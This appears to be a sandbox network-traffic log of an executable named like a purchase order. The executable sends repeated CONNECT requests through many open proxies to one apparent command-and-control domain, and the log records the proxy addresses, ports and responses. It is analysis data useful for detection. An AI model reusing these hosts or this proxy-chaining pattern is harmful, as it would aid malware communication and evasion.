Mar 11, 2024 16:39:50.985202074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.10	53972	103.23.100.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.986099958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.10	54027	192.252.216.81	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.986221075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.10	53488	152.32.130.117	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.986438990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.10	53899	27.76.193.213	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.013039112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.10	52846	162.214.121.173	64382	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.025162935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.048002005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.208074093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.207951069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.207551003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:39.223157883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:27.223153114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.10	49799	207.180.234.220	45876	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.025163889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.10	53832	211.93.2.190	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.025727987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.540669918 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.10	53868	38.54.116.9	8118	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.025727987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.445007086 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:39:55.545327902 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:39:58.137203932 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:40:03.257442951 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:40:13.245124102 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:40:34.488765001 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:41:15.448688030 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.10	54069	172.67.182.90	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.025779009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.180072069 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.10	54067	104.25.184.189	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.026019096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.180250883 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.10	54081	172.67.181.103	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.028599977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.183218956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1320	192.168.2.10	54084	172.67.181.58	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.028806925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.182790995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.10	54092	104.16.108.149	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.029108047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.183243036 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.10	49781	212.231.197.29	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.034440041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.10	54113	104.20.179.187	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.038332939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.193454981 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.10	53930	103.220.205.162	4673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.038558960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.10	53884	175.183.82.221	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.038599014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.10	53936	203.112.134.74	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.038743019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.10	54125	104.18.81.76	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.038903952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.193290949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.10	54131	104.25.115.125	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.039237976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.193528891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.10	54024	61.79.73.225	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.041270971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.10	49810	193.106.57.96	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.041274071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.10	54021	89.168.121.175	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.041464090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:30.927788019 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.10	52843	92.204.134.38	25825	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.042099953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.10	53924	175.183.82.221	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.049923897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.10	54094	194.4.50.94	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.049926996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.10	53094	162.253.68.97	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.050175905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.10	52752	160.153.254.240	48502	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.069643974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.207670927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.208241940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
